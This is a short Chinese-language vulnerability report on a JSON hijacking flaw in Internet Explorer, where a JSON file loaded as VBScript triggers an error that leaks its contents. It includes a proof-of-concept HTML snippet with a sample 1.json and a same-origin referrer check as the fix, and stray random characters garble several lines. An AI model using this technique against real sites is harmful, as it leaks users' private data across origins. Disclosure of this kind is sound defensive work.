IE通用JSON劫持漏洞

admin

简要描述：

1 e( r% x! t! U, w* r由于某些资源容器对数据处理不当导致json劫持漏洞.
& U, ?" z  C4 o5 h: p+ u% j详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
( N* b: G) _0 l( g<script language=vbscript></script>

当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
9 E: N/ O4 j, h6 U& h- v, ~. _: C<script>
window.onerror=function(_){
4 Q  F* ?& N+ o$ @5 Lalert(_)
}
</script>
<script language=vbscript src=1.json></script>
6 [( H" |( c; I) S
& x% F/ }( c! G; z# m
1.json:
, i4 _( L# C3 ][{"name":"sogili","age":19}]
( G- M. K6 c9 H' l修复方案：
0 e- {; e9 K6 Q' \网站业务对于这个问题可以通过验证referrer是否为同源来防御